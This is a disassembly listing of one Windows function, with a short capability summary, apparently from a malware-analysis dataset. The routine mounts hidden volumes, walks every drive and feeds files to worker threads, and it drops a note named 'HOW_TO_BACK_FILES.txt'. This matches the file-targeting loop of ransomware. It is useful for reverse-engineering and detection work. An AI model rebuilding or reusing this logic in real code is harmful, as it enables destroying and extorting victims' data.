Function at 0x140006828
Capabilities:
Create thread
Enumerate disk volumes
Get disk information
Get disk size
Get file attributes

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0xe60]
sub rsp, 0xf60
mov rax, qword [0x140059010]
xor rax, rsp
mov qword [rbp + 0xe50], rax
mov r15, r9
mov byte [rsp + 0x30], r8b
mov r14b, r8b
mov qword [rsp + 0x68], rcx
mov r13, rdx
mov rdi, rcx
mov ebx, 0xa
xor r8d, r8d
mov r9d, ebx
xor edx, edx
or rcx, 0xffffffffffffffff
call qword [sym.imp.KERNEL32.dll_CreateIoCompletionPort]
xor r12d, r12d
mov qword [0x14005bb78], rax
test rax, rax
je 0x1400073a8
lea rcx, [rsp + 0x50]
mov dword [rsp + 0x50], r12d
mov dword [rsp + 0x54], ebx
call fcn.14001b8a0
mov dword [rsp + 0x34], eax
xorps xmm0, xmm0
mov qword [rbp - 0x10], r12
lea ebx, [r12 + 1]
movdqu xmmword [rbp - 0x20], xmm0
test eax, eax
je 0x140006916
mov ebx, eax
mov qword [rsp + 0x28], r12
lea r8, [0x140005e94]
xor r9d, r9d
mov dword [rsp + 0x20], r12d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rdx, qword [rbp - 0x18]
mov qword [rsp + 0x60], rax
cmp rdx, qword [rbp - 0x10]
je 0x1400068fd
mov qword [rdx], rax
add qword [rbp - 0x18], 8
jmp 0x14000690b
lea r8, [rsp + 0x60]
lea rcx, [rbp - 0x20]
call fcn.14000ab68
sub rbx, 1
jne 0x1400068c6
mov ebx, 1
lea rax, [0x140005b5c]
mov qword [rsp + 0x28], r12
lea r9, [rbp - 0x48]
mov qword [rbp - 0x40], rax
lea r8, [fcn.1400066ec]
mov qword [rbp - 0x48], rdi
xor edx, edx
mov dword [rsp + 0x20], r12d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
xor edx, edx
mov word [rbp + 0x230], r12w
mov r8d, 0x206
mov qword [rsp + 0x70], rax
lea rcx, [rbp + 0x232]
call fcn.14001ee30
mov edx, 0x104
lea rcx, [rbp + 0x230]
call qword [sym.imp.KERNEL32.dll_FindFirstVolumeW]
mov rsi, rax
mov edi, 0x5a
or rax, 0xffffffffffffffff
cmp rsi, rax
je 0x140006a92
xor edx, edx
lea rcx, [rbp + 0x440]
mov r8d, 0x208
call fcn.14001ee30
lea r9, [rbp - 0x38]
mov dword [rbp - 0x38], r12d
mov r8d, 0x104
lea rdx, [rbp + 0x440]
lea rcx, [rbp + 0x230]
call qword [sym.imp.KERNEL32.dll_GetVolumePathNamesForVolumeNameW]
cmp dword [rbp - 0x38], ebx
jne 0x140006a01
lea ebx, [rdi - 0x17]
lea rdx, [rbp + 0x230]
mov word [rbp + 0x200], bx
lea rcx, [rbp + 0x200]
mov dword [rbp + 0x202], 0x5c003a
mov word [rbp + 0x206], r12w
call qword [sym.imp.KERNEL32.dll_SetVolumeMountPointW]
test eax, eax
jne 0x140006a01
inc ebx
cmp ebx, edi
jle 0x1400069ca
mov r14d, 1
mov r8d, 0x104
lea rdx, [rbp + 0x230]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_FindNextVolumeW]
lea r9, [rbp - 0x38]
mov r8d, 0x104
lea rdx, [rbp + 0x440]
mov edi, eax
lea rcx, [rbp + 0x230]
call qword [sym.imp.KERNEL32.dll_GetVolumePathNamesForVolumeNameW]
test eax, eax
je 0x140006a85
cmp dword [rbp - 0x38], r14d
jne 0x140006a85
mov ebx, 0x43
lea rdx, [rbp + 0x230]
mov word [rbp + 0x208], bx
lea rcx, [rbp + 0x208]
mov dword [rbp + 0x20a], 0x5c003a
mov word [rbp + 0x20e], r12w
call qword [sym.imp.KERNEL32.dll_SetVolumeMountPointW]
test eax, eax
jne 0x140006a85
add ebx, r14d
cmp ebx, 0x5a
jle 0x140006a4c
test edi, edi
jne 0x140006a07
mov r14b, byte [rsp + 0x30]
mov r12d, 0x41
movzx ebx, r12w
lea esi, [r12 - 0x40]
movzx edi, bx
lea r8, [0x1400506f8]
mov r9d, edi
lea rcx, [rbp + 0x210]
mov edx, 0xa
call qword [sym.imp.SHLWAPI.dll_wnsprintfW]
lea rcx, [rbp + 0x210]
call qword [sym.imp.KERNEL32.dll_GetDriveTypeW]
add eax, 0xfffffffe
cmp eax, 2
ja 0x140006bd7
xor esi, esi
lea r8, [0x140050708]
mov r9d, edi
mov qword [rbp - 0x58], rsi
lea rcx, [rbp + 0x210]
mov qword [rbp - 0x30], rsi
mov qword [rbp - 0x28], rsi
lea edx, [rsi + 0xa]
call qword [sym.imp.SHLWAPI.dll_wnsprintfW]
lea r9, [rbp - 0x28]
lea r8, [rbp - 0x30]
lea rdx, [rbp - 0x58]
lea rcx, [rbp + 0x210]
call qword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExW]
mov rdi, qword [0x14005bc40]
mov rax, qword [rbp - 0x30]
mov rcx, rdi
sub rax, qword [rbp - 0x28]
mov qword [rbp - 0x68], rax
mov rax, qword [rdi + 8]
mov qword [rsp + 0x38], rax
mov qword [rbp - 0x60], rsi
mov dword [rsp + 0x40], esi
jmp 0x140006b66
mov qword [rsp + 0x38], rax
cmp word [rax + 0x20], bx
jae 0x140006b58
mov rax, qword [rax + 0x10]
mov dword [rsp + 0x40], esi
jmp 0x140006b66
mov rcx, rax
mov dword [rsp + 0x40], 1
mov rax, qword [rax]
cmp byte [rax + 0x19], sil
je 0x140006b43
cmp byte [rcx + 0x19], sil
jne 0x140006b78
cmp bx, word [rcx + 0x20]
jae 0x140006bd2
movabs rax, 0x492492492492492
cmp qword [0x14005bc48], rax
je 0x1400073d8
mov ecx, 0x38
call fcn.14001c26c
movups xmm0, xmmword [rbp - 0x68]
mov r8, rax
lea rdx, [rbp - 0x80]
lea rcx, [0x14005bc40]
movdqu xmmword [rax + 0x28], xmm0
mov word [rax + 0x20], bx
movups xmm0, xmmword [rsp + 0x38]
mov qword [rax], rdi
mov qword [rax + 8], rdi
mov qword [rax + 0x10], rdi
movdqu xmmword [rbp - 0x80], xmm0
mov word [rax + 0x18], si
call fcn.14000b0b4
mov esi, 1
add bx, si
mov eax, 0x5a
cmp bx, ax
jbe 0x140006aa1
mov rbx, qword [r15]
mov rdi, qword [r15 + 8]
cmp rbx, rdi
je 0x140006d82
lea r14d, [rax - 0x29]
lea r13d, [rax - 0x59]
cmp qword [rbx + 0x18], 8
mov rcx, rbx
jb 0x140006c0d
mov rcx, qword [rbx]
mov edx, r14d
xor r9d, r9d
mov r8d, r13d
call fcn.140006138
add rbx, 0x20
cmp rbx, rdi
jne 0x140006c00
mov r12, qword [r15 + 8]
mov rbx, qword [r15]
jmp 0x140006d71
cmp qword [rbx + 0x18], 8
mov rcx, rbx
jb 0x140006c3d
mov rcx, qword [rbx]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
bt eax, 4
jae 0x140006c69
cmp qword [rbx + 0x18], 8
mov rcx, rbx
jb 0x140006c56
mov rcx, qword [rbx]
mov edx, r14d
xor r9d, r9d
xor r8d, r8d
call fcn.140006138
jmp 0x140006d6d
cmp qword [rbx + 0x18], 8
mov rsi, rbx
jb 0x140006c76
mov rsi, qword [rbx]
mov rcx, rsi
call fcn.140005948
mov ecx, 0x30
movzx r15d, ax
call fcn.1400231b4
mov rdi, rax
test rax, rax
je 0x140006d6d
xorps xmm0, xmm0
mov rcx, rsi
movups xmmword [rax], xmm0
movups xmmword [rax + 0x10], xmm0
movups xmmword [rax + 0x20], xmm0
mov word [rax + 0x28], r15w
call qword [sym.imp.KERNEL32.dll_lstrlenW]
add eax, r13d
movsxd rcx, eax
mov eax, 2
mul rcx
mov rcx, 0xffffffffffffffff
cmovo rax, rcx
mov rcx, rax
call fcn.1400231b4
mov qword [rdi + 0x20], rax
test rax, rax
je 0x140006cea
mov rdx, rsi
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
mov rcx, qword [0x14005bb78]
mov r9, rdi
xor r8d, r8d
mov dword [rdi + 0x2c], r13d
xor edx, edx
call qword [sym.imp.KERNEL32.dll_PostQueuedCompletionStatus]
test eax, eax
je 0x140006d57
lock add dword [0x14005bb70], r13d
lock add dword [0x14005bbec], r13d
mov ecx, 0x2000
call fcn.1400231b4
mov rdi, rax
test rax, rax
je 0x140006d6d
lea rax, str.HOW_TO_BACK_FILES.txt
mov r9, rsi
lea r8, str._s__s
mov qword [rsp + 0x20], rax
mov edx, 0x1000
mov rcx, rdi
call qword [sym.imp.SHLWAPI.dll_wnsprintfW]
mov rcx, rdi
call fcn.140005d38
jmp 0x140006d65
mov rcx, qword [rdi + 0x20]
test rcx, rcx
je 0x140006d65
call fcn.1400231a0
mov rcx, rdi
call fcn.1400231a0
add rbx, 0x20
cmp rbx, r12
jne 0x140006c30
xor r15d, r15d
jmp 0x140006ff9
xor r15d, r15d
test r13, r13
je 0x140006e12
mov ebx, 0x400
lea rcx, [rbp + 0x650]
mov edx, ebx
mov r8, r13
call fcn.140026b38
test rax, rax
je 0x140006e0a
lea r14d, [r15 + 0x31]
lea rcx, [rbp + 0x650]
call fcn.140005978
lea rcx, [rbp + 0x650]
call fcn.140005948
mov edx, r14d
lea rcx, [rbp + 0x650]
xor r9d, r9d
mov r8d, esi
call fcn.140006138
mov edx, r14d
lea rcx, [rbp + 0x650]
xor r9d, r9d
xor r8d, r8d
call fcn.140006138
mov r8, r13
lea rcx, [rbp + 0x650]
mov edx, ebx
call fcn.140026b38
test rax, rax
jne 0x140006dad
mov r14b, byte [rsp + 0x30]
mov rcx, r13
call fcn.140026180
test r14b, r14b
jne 0x140006ff3
mov esi, r15d
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov r14d, eax
movzx ebx, r12w
mov eax, 0x5a
lea r13d, [rax - 0x59]
test r13b, r14b
je 0x140006ecd
mov ecx, 0x18
call fcn.1400231b4
mov rdi, rax
test rax, rax
je 0x140006ec8
movzx r15d, bx
lea r8, [0x1400506f8]
mov r9d, r15d
mov dword [rax + 0x14], r13d
mov edx, 0xa
mov rcx, rax
call qword [sym.imp.SHLWAPI.dll_wnsprintfW]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetDriveTypeW]
add eax, 0xfffffffe
cmp eax, 2
ja 0x140006ec5
mov r9d, r15d
lea r8, str.._c:
mov edx, 0xa
mov rcx, rdi
call qword [sym.imp.SHLWAPI.dll_wnsprintfW]
xor r15d, r15d
lea r8, [0x140006560]
mov qword [rsp + 0x28], r15
mov r9, rdi
xor edx, edx
mov dword [rsp + 0x20], r15d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, esi
add esi, r13d
mov qword [rbp + rcx*8 + 0x60], rax
jmp 0x140006ec8
xor r15d, r15d
mov eax, 0x5a
add bx, r13w
shr r14d, 1
cmp bx, ax
jbe 0x140006e34
or r9d, 0xffffffff
lea rdx, [rbp + 0x60]
mov r8d, r13d
mov ecx, esi
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
test esi, esi
je 0x140006f0c
lea rbx, [rbp + 0x60]
mov edi, esi
mov rcx, qword [rbx]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rbx, [rbx + 8]
sub rdi, r13
jne 0x140006efa
mov edi, r15d
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov esi, eax
mov eax, 0x5a
test r13b, sil
je 0x140006fae
mov ecx, 0x18
call fcn.1400231b4
mov rbx, rax
test rax, rax
je 0x140006fa9
movzx r14d, r12w
lea r8, [0x1400506f8]
mov r9d, r14d
mov dword [rax + 0x14], r15d
mov edx, 0xa
mov rcx, rax
call qword [sym.imp.SHLWAPI.dll_wnsprintfW]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetDriveTypeW]
add eax, 0xfffffffe
cmp eax, 2
ja 0x140006fa9
mov r9d, r14d
lea r8, str.._c:
mov edx, 0xa
mov rcx, rbx
call qword [sym.imp.SHLWAPI.dll_wnsprintfW]
mov r9, rbx
mov qword [rsp + 0x28], r15
lea r8, [0x140006560]
mov dword [rsp + 0x20], r15d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rbp + rdi*8 + 0x130], rax
add edi, r13d
mov eax, 0x5a
add r12w, r13w
shr esi, 1
cmp r12w, ax
jbe 0x140006f1c
or r9d, 0xffffffff
lea rdx, [rbp + 0x130]
mov r8d, r13d
mov ecx, edi
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
test edi, edi
je 0x140006ff9
lea rbx, [rbp + 0x130]
mov rcx, qword [rbx]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rbx, [rbx + 8]
sub rdi, r13
jne 0x140006fdf
jmp 0x140006ff9
mov r13d, 1
mov rbx, qword [0x14005ca40]
xorps xmm0, xmm0
sub rbx, qword [0x14005ca38]
sar rbx, 5
mov qword [rbp + 8], r15
mov qword [rsp + 0x48], r15
movdqu xmmword [rbp - 8], xmm0
movdqu xmmword [rsp + 0x38], xmm0
test rbx, rbx
je 0x1400070c5
movabs rax, 0x7ffffffffffffff
cmp rbx, rax
ja 0x1400073de
shl rbx, 5
mov r12d, 0x1000
cmp rbx, r12
jb 0x14000705a
mov rcx, rbx
call fcn.140004bc8
mov rdi, rax
jmp 0x14000706c
test rbx, rbx
je 0x140007069
mov rcx, rbx
call fcn.14001c26c
jmp 0x140007055
mov rdi, r15
mov rsi, qword [0x14005ca40]
lea rax, [rbx + rdi]
mov rbx, qword [0x14005ca38]
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x38], rdi
jmp 0x1400070b9
xorps xmm0, xmm0
mov rdx, rbx
movups xmmword [rdi], xmm0
mov qword [rdi + 0x10], r15
mov qword [rdi + 0x18], r15
cmp qword [rbx + 0x18], 8
jb 0x1400070a5
mov rdx, qword [rbx]
mov r8, qword [rbx + 0x10]
mov rcx, rdi
call fcn.14000b390
add rdi, 0x20
add rbx, 0x20
cmp rbx, rsi
jne 0x14000708a
mov qword [rsp + 0x40], rdi
jmp 0x1400070cb
mov r12d, 0x1000
lea rdx, [rbp - 8]
lea rcx, [rsp + 0x38]
call fcn.14000c154
xor edx, edx
lea rcx, [rbp + 0x10]
lea r8d, [rdx + 0x48]
call fcn.14001ee30
lea rcx, [rbp + 0x10]
call fcn.14000b498
mov r14, qword [rbp]
mov rdi, qword [rbp - 8]
cmp rdi, r14
je 0x140007131
mov r15d, dword [rdi]
mov rsi, qword [rbp + 0x48]
mov rbx, qword [rbp + 0x40]
jmp 0x140007120
cmp dword [rbx], r15d
jne 0x14000711c
mov rdx, rbx
lea rcx, [rbp + 0x10]
call fcn.14000b768
add rbx, 0x28
cmp rbx, rsi
jne 0x14000710b
add rdi, 4
cmp rdi, r14
jne 0x1400070fe
xor r15d, r15d
lea rcx, [rbp + 0x40]
call fcn.140009508
lea rcx, [rbp + 0x10]
call fcn.14000d038
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [0x14005bbf0]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x14005ca38]
mov r14, qword [0x14005ca40]
jmp 0x14000722a
cmp qword [rbx + 0x18], 8
mov rsi, rbx
jb 0x14000717b
mov rsi, qword [rbx]
mov ecx, 0x30
call fcn.1400231b4
mov rdi, rax
test rax, rax
je 0x140007240
xorps xmm0, xmm0
mov rcx, rsi
movups xmmword [rax], xmm0
movups xmmword [rax + 0x10], xmm0
movups xmmword [rax + 0x20], xmm0
call fcn.140005948
mov rcx, rsi
mov word [rdi + 0x28], ax
call qword [sym.imp.KERNEL32.dll_lstrlenW]
add eax, r13d
movsxd rcx, eax
mov eax, 2
mul rcx
mov rcx, 0xffffffffffffffff
cmovo rax, rcx
mov rcx, rax
call fcn.1400231b4
mov qword [rdi + 0x20], rax
test rax, rax
je 0x140007215
mov rdx, rsi
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
mov rcx, qword [0x14005bb78]
mov r9, rdi
xor r8d, r8d
xor edx, edx
call qword [sym.imp.KERNEL32.dll_PostQueuedCompletionStatus]
test eax, eax
je 0x140007215
lock add dword [0x14005bb70], r13d
lock add dword [0x14005bbec], r13d
jmp 0x140007226
mov rcx, qword [rdi + 0x20]
call fcn.1400231a0
mov rcx, rdi
call fcn.1400231a0
add rbx, 0x20
cmp rbx, r14
jne 0x14000716e
lea rcx, [0x14005bbf0]
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov rbx, qword [0x14005ca38]
mov rdi, qword [0x14005ca40]
cmp rbx, rdi
je 0x14000727f
mov rcx, rbx
call fcn.140004864
add rbx, 0x20
cmp rbx, rdi
jne 0x140007253
mov rax, qword [0x14005ca38]
mov qword [0x14005ca40], rax
jmp 0x14000727f
mov ecx, 0xc8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [0x14005bb74]
mov eax, dword [0x14005bbec]
cmp eax, ecx
jg 0x140007274
lea rax, [0x1400065a0]
mov qword [rbp - 0x50], rax
lea rcx, [rbp - 0x58]
mov rax, qword [rsp + 0x68]
mov qword [rbp - 0x58], rax
call fcn.1400066ec
mov rbx, qword [rsp + 0x70]
test rbx, rbx
je 0x1400072cb
or edx, 0xffffffff
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov esi, dword [rsp + 0x34]
mov ebx, esi
test esi, esi
je 0x1400072f2
mov edi, esi
mov rcx, qword [0x14005bb78]
xor r9d, r9d
xor edx, edx
lea r8d, [r9 + 2]
call qword [sym.imp.KERNEL32.dll_PostQueuedCompletionStatus]
sub rdi, r13
jne 0x1400072d7
mov rdx, qword [rbp - 0x20]
or r9d, 0xffffffff
mov r8d, r13d
mov ecx, esi
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
test esi, esi
je 0x140007323
mov rdi, r15
mov rcx, qword [rbp - 0x20]
mov rcx, qword [rdi + rcx]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdi, [rdi + 8]
sub rbx, r13
jne 0x14000730c
mov rcx, qword [0x14005bb78]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp - 8]
test rcx, rcx
je 0x140007372
mov rdx, qword [rbp + 8]
mov rax, rcx
sub rdx, rcx
and rdx, 0xfffffffffffffffc
cmp rdx, r12
jb 0x140007361
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400073d2
call fcn.14001c2b0
xorps xmm0, xmm0
mov qword [rbp + 8], r15
movdqu xmmword [rbp - 8], xmm0
mov rcx, qword [rbp - 0x20]
test rcx, rcx
je 0x1400073a8
mov rdx, qword [rbp - 0x10]
mov rax, rcx
sub rdx, rcx
and rdx, 0xfffffffffffffff8
cmp rdx, r12
jb 0x1400073a3
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400073d2
call fcn.14001c2b0
mov rcx, qword [rbp + 0xe50]
xor rcx, rsp
call fcn.14001bfb0
mov rbx, qword [rsp + 0xfb0]
add rsp, 0xf60
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
call fcn.140025ec0
int3
call fcn.140004c10
int3
call fcn.14000a7c4
int3